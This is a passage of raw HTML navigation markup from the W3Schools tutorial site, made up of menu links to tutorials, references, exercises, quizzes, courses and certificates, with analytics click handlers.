class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex topnavmain_video" href="https://www.w3schools.com/videos/index.php" title="Video Tutorials" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')">Videos</a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex" href="/pro/index.php" title="Go Pro" onclick="ga('send', 'event', 'Pro' , 'fromTopnavMainASP')">Pro <span class="ribbon-topnav ws-hide-1080">NEW</span></a> <a class="w3-bar-item w3-button bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open()" id="navbtn_menu" title="Menu" style="width:93px">Menu <i class="fa fa-caret-down"></i><i class="fa fa-caret-up" style="display:none"></i></a> <div id="loginactioncontainer" class="w3-right w3-padding-16" style="margin-left:50px"> <div id="mypagediv" style="display: none;"></div> <!-- <button id="w3loginbtn" style="border:none;display:none;cursor:pointer" class="login w3-right w3-hover-greener" onclick='w3_open_nav("login")'>LOG IN</button>--> <a id="w3loginbtn" class="w3-bar-item w3-btn bar-item-hover w3-right" style="display: inline; width: 130px; background-color: rgb(4, 170, 109); color: white; border-radius: 25px;" href="https://profile.w3schools.com/log-in?redirect_url=https%3A%2F%2Fmy-learning.w3schools.com" target="_self">Log in</a> </div> <div class="w3-right w3-padding-16"> <!--<a class="w3-bar-item w3-button bar-icon-hover w3-right w3-hover-white w3-hide-large w3-hide-medium" href="javascript:void(0)" onclick="w3_open()" title="Menu"><i class='fa'></i></a> --> <a class="w3-bar-item w3-button bar-item-hover w3-right w3-hide-small barex" style="width: 140px; border-radius: 25px; margin-right: 15px;" href="https://courses.w3schools.com/" target="_blank" id="cert_navbtn" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses in Main top navigation');" title="Courses">Paid Courses</a> <a class="w3-bar-item w3-button bar-item-hover w3-right ws-hide-900 w3-hide-small barex ws-pink" style="border-radius: 25px; margin-right: 15px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTopnavMain', 'click');" title="Get Your Own Website With W3Schools Spaces">Website <span class="ribbon-topnav ws-hide-1066">NEW</span></a> </div> </div> <div style="display: none; position: fixed; z-index: 4; right: 52px; height: 44px; background-color: rgb(40, 42, 53); letter-spacing: normal; top: 0px;" id="googleSearch"> <div class="gcse-search"></div> </div> <div style="display: none; position: fixed; z-index: 3; right: 111px; height: 44px; background-color: rgb(40, 42, 53); text-align: right; padding-top: 9px; top: 0px;" id="google_translate_element"></div> <div class="w3-card-2 topnav notranslate" id="topnav" style="position: fixed; top: 0px;"> <div style="overflow:auto;"> <div class="w3-bar w3-left" style="width:100%;overflow:hidden;height:44px"> <a href="javascript:void(0);" class="topnav-icons fa fa-menu w3-hide-large w3-left w3-bar-item w3-button" onclick="open_menu()" title="Menu"></a> <a href="/default.asp" class="topnav-icons fa fa-home w3-left w3-bar-item w3-button" title="Home"></a> <a class="w3-bar-item w3-button" href="/html/default.asp" title="HTML Tutorial" style="padding-left:18px!important;padding-right:18px!important;">HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp" title="CSS Tutorial">CSS</a> <a class="w3-bar-item w3-button" href="/js/default.asp" title="JavaScript Tutorial">JAVASCRIPT</a> <a class="w3-bar-item w3-button" href="/sql/default.asp" title="SQL Tutorial">SQL</a> <a class="w3-bar-item w3-button" href="/python/default.asp" title="Python Tutorial">PYTHON</a> <a class="w3-bar-item w3-button" href="/php/default.asp" title="PHP Tutorial">PHP</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp" title="Bootstrap Tutorial">BOOTSTRAP</a> <a class="w3-bar-item w3-button" href="/howto/default.asp" title="How To">HOW TO</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp" title="W3.CSS Tutorial">W3.CSS</a> <a class="w3-bar-item w3-button" href="/java/default.asp" title="Java Tutorial">JAVA</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp" title="jQuery Tutorial">JQUERY</a> <a class="w3-bar-item w3-button" href="/c/index.php" title="C Tutorial">C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp" title="C++ Tutorial">C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php" title="C# Tutorial">C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp" title="R Tutorial">R</a> <a class="w3-bar-item w3-button" href="/react/default.asp" title="React Tutorial">React</a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gSearch(this)" title="Search W3Schools"></a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gTra(this)" title="Translate W3Schools"></a> <!-- <a href='javascript:void(0);' class='topnav-icons fa w3-right w3-bar-item w3-button' onclick='changecodetheme(this)' title='Toggle Dark Code Examples'></a>--> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" onclick="changepagetheme(2)"></a> <!-- <a class="w3-bar-item w3-button w3-right" id='topnavbtn_exercises' href='javascript:void(0);' onclick='w3_open_nav("exercises")' title='Exercises'>EXERCISES <i class='fa fa-caret-down'></i><i class='fa fa-caret-up' style='display:none'></i></a> --> </div> <div id="darkmodemenu" class="ws-black" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" style="top: -40px;"> <input id="radio_darkpage" type="checkbox" name="radio_theme_mode" onclick="click_darkpage()"><label for="radio_darkpage"> Dark mode</label> <br> <input id="radio_darkcode" type="checkbox" name="radio_theme_mode" onclick="click_darkcode()"><label for="radio_darkcode"> Dark code</label> </div> <nav id="nav_tutorials" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('tutorials')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Tutorials</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML and CSS</h3> <a class="w3-bar-item w3-button" href="/html/default.asp">Learn HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp">Learn CSS</a> <a class="w3-bar-item w3-button" href="/css/css_rwd_intro.asp" title="Responsive Web Design">Learn RWD</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp">Learn Bootstrap</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp">Learn W3.CSS</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">Learn Colors</a> <a class="w3-bar-item w3-button" href="/icons/default.asp">Learn Icons</a> <a class="w3-bar-item w3-button" href="/graphics/default.asp">Learn Graphics</a> <a class="w3-bar-item w3-button" href="/graphics/svg_intro.asp">Learn SVG</a> <a class="w3-bar-item w3-button" href="/graphics/canvas_intro.asp">Learn Canvas</a> <a class="w3-bar-item w3-button" href="/howto/default.asp">Learn How To</a> <a class="w3-bar-item w3-button" href="/sass/default.php">Learn Sass</a> <div class="w3-hide-large w3-hide-small"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/js/default.asp">Learn JavaScript</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp">Learn jQuery</a> <a class="w3-bar-item w3-button" href="/react/default.asp">Learn React</a> <a class="w3-bar-item w3-button" href="/angular/default.asp">Learn AngularJS</a> <a class="w3-bar-item w3-button" href="/js/js_json_intro.asp">Learn JSON</a> <a class="w3-bar-item w3-button" href="/js/js_ajax_intro.asp">Learn AJAX</a> <a class="w3-bar-item w3-button" href="/appml/default.asp">Learn AppML</a> <a class="w3-bar-item w3-button" href="/w3js/default.asp">Learn W3.JS</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/default.asp">Learn Python</a> <a class="w3-bar-item w3-button" href="/java/default.asp">Learn Java</a> <a class="w3-bar-item w3-button" href="/c/index.php">Learn C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp">Learn C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php">Learn C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp">Learn R</a> <a class="w3-bar-item w3-button" href="/kotlin/index.php">Learn Kotlin</a> <a class="w3-bar-item w3-button" href="/go/index.php">Learn Go</a> <a class="w3-bar-item w3-button" href="/django/index.php">Learn Django</a> <a class="w3-bar-item w3-button" href="/typescript/index.php">Learn TypeScript</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/default.asp">Learn SQL</a> <a class="w3-bar-item w3-button" href="/mysql/default.asp">Learn MySQL</a> <a class="w3-bar-item w3-button" href="/php/default.asp">Learn PHP</a> <a class="w3-bar-item w3-button" href="/asp/default.asp">Learn ASP</a> <a class="w3-bar-item w3-button" href="/nodejs/default.asp">Learn Node.js</a> <a class="w3-bar-item w3-button" href="/nodejs/nodejs_raspberrypi.asp">Learn Raspberry Pi</a> <a class="w3-bar-item w3-button" href="/git/default.asp">Learn Git</a> <a class="w3-bar-item w3-button" href="/aws/index.php">Learn AWS Cloud</a> <h3 class="w3-margin-top">Web Building</h3> <a class="w3-bar-item w3-button" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Create a Website <span class="ribbon-topnav ws-yellow">NEW</span></a> <a class="w3-bar-item w3-button" href="/where_to_start.asp">Where To Start</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_templates.asp">Web Templates</a> <a class="w3-bar-item w3-button" href="/browsers/default.asp">Web Statistics</a> <a class="w3-bar-item w3-button" href="/cert/default.asp">Web Certificates</a> <a class="w3-bar-item w3-button" href="/whatis/default.asp">Web Development</a> <a class="w3-bar-item w3-button" href="/tryit/default.asp">Code Editor</a> <a class="w3-bar-item w3-button" href="/typingspeed/default.asp">Test Your Typing Speed</a> <a class="w3-bar-item w3-button" href="/codegame/index.html" target="_blank">Play a Code Game</a> <a class="w3-bar-item w3-button" href="/cybersecurity/index.php">Cyber Security</a> <a class="w3-bar-item w3-button" href="/accessibility/index.php">Accessibility</a> </div> <div class="w3-col l3 m6 w3-hide-medium"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <a class="w3-bar-item w3-button" href="/googlesheets/index.php">Learn Google Sheets</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> </div> <br class="hidesm"> </nav> <nav id="nav_references" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('references')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>References</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML</h3> <a class="w3-bar-item w3-button" href="/tags/default.asp">HTML Tag Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_html_browsersupport.asp">HTML Browser Support</a> <a class="w3-bar-item w3-button" href="/tags/ref_eventattributes.asp">HTML Event Reference</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">HTML Color Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_attributes.asp">HTML Attribute Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_canvas.asp">HTML Canvas Reference</a> <a class="w3-bar-item w3-button" href="/graphics/svg_reference.asp">HTML SVG Reference</a> <a class="w3-bar-item w3-button" href="/graphics/google_maps_reference.asp">Google Maps Reference</a> <h3 class="w3-margin-top">CSS</h3> <a class="w3-bar-item w3-button" href="/cssref/default.asp">CSS Reference</a> <a class="w3-bar-item w3-button" href="/cssref/css3_browsersupport.asp">CSS Browser Support</a> <a class="w3-bar-item w3-button" href="/cssref/css_selectors.asp">CSS Selector Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap 3 Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_ref_all_classes.asp">Bootstrap 4 Reference</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_references.asp">W3.CSS Reference</a> <a class="w3-bar-item w3-button" href="/icons/icons_reference.asp">Icon Reference</a> <a class="w3-bar-item w3-button" href="/sass/sass_functions_string.php">Sass Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/jsref/default.asp">JavaScript Reference</a> <a class="w3-bar-item w3-button" href="/jsref/default.asp">HTML DOM Reference</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_ref_overview.asp">jQuery Reference</a> <a class="w3-bar-item w3-button" href="/angular/angular_ref_directives.asp">AngularJS Reference</a> <a class="w3-bar-item w3-button" href="/appml/appml_reference.asp">AppML Reference</a> <a class="w3-bar-item w3-button" href="/w3js/w3js_references.asp">W3.JS Reference</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/python_reference.asp">Python Reference</a> <a class="w3-bar-item w3-button" href="/java/java_ref_keywords.asp">Java Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/sql_ref_keywords.asp">SQL Reference</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_ref_functions.asp">MySQL Reference</a> <a class="w3-bar-item w3-button" href="/php/php_ref_overview.asp">PHP Reference</a> <a class="w3-bar-item w3-button" href="/asp/asp_ref_response.asp">ASP Reference</a> <h3 class="w3-margin-top">XML</h3> <a class="w3-bar-item w3-button" href="/xml/dom_nodetype.asp">XML DOM Reference</a> <a class="w3-bar-item w3-button" href="/xml/dom_http.asp">XML Http Reference</a> <a class="w3-bar-item w3-button" href="/xml/xsl_elementref.asp">XSLT Reference</a> <a class="w3-bar-item w3-button" href="/xml/schema_elements_ref.asp">XML Schema Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Character Sets</h3> <a class="w3-bar-item w3-button" href="/charsets/default.asp">HTML Character Sets</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ascii.asp">HTML ASCII</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML ANSI</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML Windows-1252</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_8859.asp">HTML ISO-8859-1</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_symbols.asp">HTML Symbols</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_utf8.asp">HTML UTF-8</a> </div> </div> <br class="hidesm"> </div> </nav> <nav id="nav_exercises" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('exercises')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Exercises and Quizzes</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:155px;font-size:21px" href="/exercises/index.php">Exercises</a></h3> <a class="w3-bar-item w3-button" href="/html/html_exercises.asp">HTML Exercises</a> <a class="w3-bar-item w3-button" href="/css/css_exercises.asp">CSS Exercises</a> <a class="w3-bar-item w3-button" href="/js/js_exercises.asp">JavaScript Exercises</a> <a class="w3-bar-item w3-button" href="/sql/sql_exercises.asp">SQL Exercises</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_exercises.asp">MySQL Exercises</a> <a class="w3-bar-item w3-button" href="/php/php_exercises.asp">PHP Exercises</a> <a class="w3-bar-item w3-button" href="/python/python_exercises.asp">Python Exercises</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_exercises.asp">NumPy Exercises</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_exercises.asp">Pandas Exercises</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_exercises.php">SciPy Exercises</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_exercises.asp">jQuery Exercises</a> <a class="w3-bar-item w3-button" href="/java/java_exercises.asp">Java Exercises</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_exercises.asp">C++ Exercises</a> <a class="w3-bar-item w3-button" href="/cs/cs_exercises.asp">C# Exercises</a> <a class="w3-bar-item w3-button" href="/r/r_exercises.asp">R Exercises</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_exercises.php">Kotlin Exercises</a> <a class="w3-bar-item w3-button" href="/go/go_exercises.php">Go Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_exercises.asp">Bootstrap Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_exercises.asp">Bootstrap 4 Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_exercises.php">Bootstrap 5 Exercises</a> <a class="w3-bar-item w3-button" href="/git/git_exercises.asp">Git Exercises</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="/quiztest/default.asp">Quizzes</a></h3> <a class="w3-bar-item w3-button" href="/html/html_quiz.asp" target="_top">HTML Quiz</a> <a class="w3-bar-item w3-button" href="/css/css_quiz.asp" target="_top">CSS Quiz</a> <a class="w3-bar-item w3-button" href="/js/js_quiz.asp" target="_top">JavaScript Quiz</a> <a class="w3-bar-item w3-button" href="/sql/sql_quiz.asp" target="_top">SQL Quiz</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_quiz.asp" target="_top">MySQL Quiz</a> <a class="w3-bar-item w3-button" href="/php/php_quiz.asp" target="_top">PHP Quiz</a> <a class="w3-bar-item w3-button" href="/python/python_quiz.asp" target="_top">Python Quiz</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_quiz.asp" target="_top">NumPy Quiz</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_quiz.asp" target="_top">Pandas Quiz</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_quiz.php" target="_top">SciPy Quiz</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_quiz.asp" target="_top">jQuery Quiz</a> <a class="w3-bar-item w3-button" href="/java/java_quiz.asp" target="_top">Java Quiz</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_quiz.asp" target="_top">C++ Quiz</a> <a class="w3-bar-item w3-button" href="/cs/cs_quiz.asp" target="_top">C# Quiz</a> <a class="w3-bar-item w3-button" href="/r/r_quiz.asp" target="_top">R Quiz</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_quiz.php" target="_top">Kotlin Quiz</a> <a class="w3-bar-item w3-button" href="/xml/xml_quiz.asp" target="_top">XML Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_quiz.asp" target="_top">Bootstrap Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_quiz.asp" target="_top">Bootstrap 4 Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_quiz.php" target="_top">Bootstrap 5 Quiz</a> <a class="w3-bar-item w3-button" href="/cybersecurity/cybersecurity_quiz.php">Cyber Security Quiz</a> <a class="w3-bar-item w3-button" href="/accessibility/accessibility_quiz.php">Accessibility Quiz</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="https://courses.w3schools.com/" target="_blank">Courses</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/html" target="_blank">HTML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/css" target="_blank">CSS Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/javascript" target="_blank">JavaScript Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/front-end" target="_blank">Front End Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/sql" target="_blank">SQL Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/php" target="_blank">PHP Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/python" target="_blank">Python Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/numpy-fundamentals" target="_blank">NumPy Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/pandas-fundamentals" target="_blank">Pandas Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/data-analytics" target="_blank">Data Analytics Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/jquery" target="_blank">jQuery Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/java" target="_blank">Java Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/cplusplus" target="_blank">C++ Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/c-sharp" target="_blank">C# Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/r-fundamentals" target="_blank">R Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/xml" target="_blank">XML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/introduction-to-cyber-security" target="_blank">Cyber Security Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/accessibility-fundamentals" target="_blank">Accessibility Course</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:150px;font-size:21px" href="https://courses.w3schools.com/browse/certifications" target="_blank">Certificates</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/html-certification-exam" target="_blank">HTML Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/css-certification-exam" target="_blank">CSS Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/javascript-certification-exam" target="_blank">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/front-end-certification-exam" target="_blank">Front End Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/sql-certification-exam" target="_blank">SQL Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/php-certification-exam" target="_blank">PHP Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/python-certificaftion-exam" target="_blank">Python Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/data-science-certification-exam" target="_blank">Data Science Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-3-certification-exam" target="_blank">Bootstrap 3 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-4-certification-exam" target="_blank">Bootstrap 4 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/jquery-certification-exam" target="_blank">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/java-certification-exam" target="_blank">Java Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/c-certification-exam" target="_blank">C++ Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/react-certification-exam" target="_blank">React Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/xml-certification-exam" target="_blank">XML Certificate</a> </div> </div> <br class="hidesm"> </div> </nav> </div> </div> <div id="myAccordion" class="w3-card-2 w3-center w3-hide-large w3-hide-medium ws-grey" style="width: 100%; position: absolute; display: none; padding-top: 44px;"> <a href="javascript:void(0)" onclick="w3_close()" class="w3-button w3-xxlarge w3-right">×</a><br> <div class="w3-container w3-padding-32"> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('tutorials');" href="javascript:void(0);">Tutorials <i class="fa fa-caret-down"></i></a> <div id="sectionxs_tutorials" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('references')" href="javascript:void(0);">References <i class="fa fa-caret-down"></i></a> <div id="sectionxs_references" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('exercises')" href="javascript:void(0);">Exercises <i class="fa fa-caret-down"></i></a> <div id="sectionxs_exercises" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" href="/cert/default.asp" target="_blank">Paid Courses</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 